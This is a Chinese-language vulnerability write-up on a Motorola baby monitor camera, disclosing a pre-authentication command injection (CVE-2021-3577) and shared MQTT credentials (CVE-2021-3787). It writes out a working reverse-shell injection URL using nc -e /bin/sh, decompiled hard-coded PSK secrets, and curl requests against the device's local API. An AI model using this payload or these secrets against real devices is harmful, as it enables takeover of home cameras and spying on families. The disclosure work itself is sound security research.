摩托罗拉婴儿监视器存在远程代码执行漏洞
对于要有孩子的家庭来说,有一个婴儿监视器是比较好的选择。婴儿监视器类型包括 Wi-Fi、移动app和云平台等。我们决定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔细研究一下这款设备的安全性。
我开始深入研究该设备,在一段时间后我发现了一个预认证 RCE 并在此后不久获取了一个完整的 root shell。
0x01 端口扫描
将Motorola-Crib-Baby-Monitor-Soother-Camera连接到 Wi-Fi 上,尝试进行服务和端口扫描确定开放端口。
这些端口为我寻找潜在的 API 通信提供了一个良好的开端。我在浏览器中访问了每一个,希望其中一个可以提供 Web 界面。这三个确都是 Web 服务器,尽管每个服务器的响应略有不同:
◼8080
– 404 未找到页面
◼9090
– 显示“不支持的命令”的响应正文
◼80
- 空白
无法让80端口做出响应,通过 cURL 请求看看返回信息:
user@ubuntu:~$ curl http://192.168.5.244 -v
* Rebuilt URL to: http://192.168.5.244/
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 204 No content
< Content-Length: 0
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
我尝试使用各种参数的请求,但都获取不到有效返回信息。
0x02 App逆向
接下来,我决定安装 Android 应用app并开始逆向,希望了解app如何与设备进行通信。婴儿监视器可以通过Hubble Connected for Motorola Monitors进行管理,这是设置后的样子:
除了Motorola-Crib-Baby-Monitor-Soother-Camera 指令外,设备还收集了很多数据并在应用程序中显示。在这里你可以看到它显示室温,以及其他监视器功能的状态,如夜灯和投影。
我的下一步思路是代理应用程序中的 API 请求。快速浏览应用程序的详细信息后logcat输出了一些信息。
API 请求很容易从日志中获取,注意到很多这样的请求与Hubble cloud服务交互,我更感兴趣的是应用程序是否直接通过 LAN 在访问设备。
接下来,我搜索了HTTP 通信的日志,并测试该应用程序的更多功能。在应用程序中更改了一些设备设置后,终于确定了向本地 API 发出的一些请求:
这正是我在寻找的,让我们尝试一个栗子:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_wifi_strength HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 21
< Content-Type: text/plain
< Connection: Keep-Alive
<
* Connection #0 to host 192.168.5.244 left intact
get_wifi_strength: 75
一个普通的HTTP 请求返回了一个以冒号分隔的响应数据包。
附加命令:
借助一些本地 API 请求示例,我反编译了 Android 应用程序并开始搜索对它们的引用,目标是找到代码库中使用的命令列表。我比较关心一个定义了配置常量列表的特定类ConfigConstants,包括可能的 GET 和 SET 命令,以及设置 Wi-Fi 的 PSK。
/*
* Decompiled with CFR 0_121.
*/
package com.hubble.framework.common;
public class ConfigConstants {
public static final String AUTH_KEY_IS_NULL = "auth_key_is_null";
public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\"";
public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724";
public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\"";
public static final String GLOBAL_PORT = ":80";
public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable";
public static final String TRANSFER_PROTOCOL = "http://";
public class Camera {
public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value=";
public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup=";
public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address";
public static final String GET_UDID_COMMAND = "action=command&command=get_udid";
public static final String GET_VERSION = "action=command&command=get_version";
public static final String HTTP_URI_SEPARATOR = "/?";
public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential";
public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name";
public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd";
public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system";
public static final String SETUP_FW_VERSION = "00.00.00";
public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb";
public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888";
public static final String SETUP_TLS_DEFAULT_PORT = "4434";
public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info";
public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s";
public static final String SET_CITY_TIMEZONE = "set_city_timezone";
public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s";
public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s";
public static final String SET_DATE_TIME_COMMAND = "set_date_time";
public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state";
public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list";
}
}
我手动尝试ConfigConstants类中列出的命令,比如get_rt_list:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v
* Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_rt_list HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 1096
< Content-Type: text/xml
<
8***REMOVED***WPA272-8801* Connection #0 to host 192.168.5.244 left intact
上面的命令返回了Motorola-Crib-Baby-Monitor-Soother-Camera可用的 Wi-Fi 网络列表。由于列出的大多数命令似乎都适用于我的设备,因此我知道我找对地方了,因此将注意力转移到了 SET 命令上。“value”参数特别令人感兴趣,因为它们会接受用户控制的输入,如果不正确输入就可能会导致 RCE。
0x03 远程代码执行漏洞
最终执行 set_city_timezone,执行重启命令,设备立即重启了,执行get_version操作/?action=command&command=get_version
设备已经拒绝连接。
构建反弹shell:
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)
注意要使用 $ { IFS } 空格的 shell 变量,因为网络服务器将处理 %20 的编码值。
下面是root shell :
0x04 MQTT凭证漏洞
通过对设备的shell访问,我现在能够更深入地挖掘并检查其他在黑盒条件下的攻击媒介,我想谈谈我发现的最关键的问题。
MQTT:
正如我上面所讨论的,大部分云集成是通过 Hubble API 实现的。集成的一个组件是基于 MQTT 构建的——就像在许多物联网设备架构中一样,它用于处理设备、移动应用程序客户端和 Hubble基础设施之间基于事件的发布/订阅交互。
例如,移动应用程序通过 Hubble API 中的 API 层与 MQTT 交互:
{
"status": 202,
"message": "success",
"data": {
"id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2",
"created_at": "2021-05-12T17:44:08Z",
"updated_at": "2021-05-12T17:44:08Z",
"job_type": "publish_command",
"status": 202,
"state": "SUCCESSFUL",
"input": {
"packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}",
"device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7"
},
"output": {
"reason": "mqtt published",
"PublishResponse": "mqtt published",
"DeviceResponseMessage": null,
"DeviceResponseStatus": null,
"PublishStatus": 202
},
"priority": "high",
"last_executed_time": "2021-05-12T17:44:08Z",
"execution_count": 1
}
}
为了更好地理解 MQTT 实现的工作原理,我想连接一个客户端来观察传输中的消息。在查看设备上的一些日志后,我找到了 MQTT 服务器的主机名,以及所有 TLS 证书和连接密钥:
pwd
/mnt/config/hubble_config
ls -hal
drwxr-x--- 2 root root 720 May 30 14:55 .
drwxr-xr-x 4 root root 1.0K Dec 31 1969 ..
-rw-r--r-- 1 root root 286 May 30 13:55 bootup_info
-rw-r--r-- 1 root root 1.4K Dec 9 13:52 ca.crt
-rw-r--r-- 1 root root 1.1K Dec 9 13:52 client.crt
-rw-r--r-- 1 root root 1.6K Dec 9 13:52 client.key
-rw-r----- 1 root root 0 Apr 1 23:37 dummy
-rw-r----- 1 root root 0 Apr 1 23:37 smartconfig
-rw-r--r-- 1 root root 5.2K May 30 14:55 user.conf
-rw-r--r-- 1 root root 3.7K May 30 13:55 user1.conf
我打开了MQTT Explorer并配置了与设备证书的连接。我成功连接并马上看到了来自 Hubble Cloud中越来越多的其他设备的消息,我意识到客户端被配置为默认订阅 # 和 $SYS/#。很明显,这意味着要么是在所有Hubble 设备之间共享凭据,要么在 MQTT 中未强制执行设备之间的访问控制。
如果仔细观察,你可以看到来自各种设备的许多命令结果。虽然我没有尝试这样做,但我认为客户端很可能可以通过发布任意命令轻松控制整个设备群。
RCE漏洞的CVE编号是CVE-2021-3577,MQTT凭证问题的CVE编号是CVE-2021-3787。
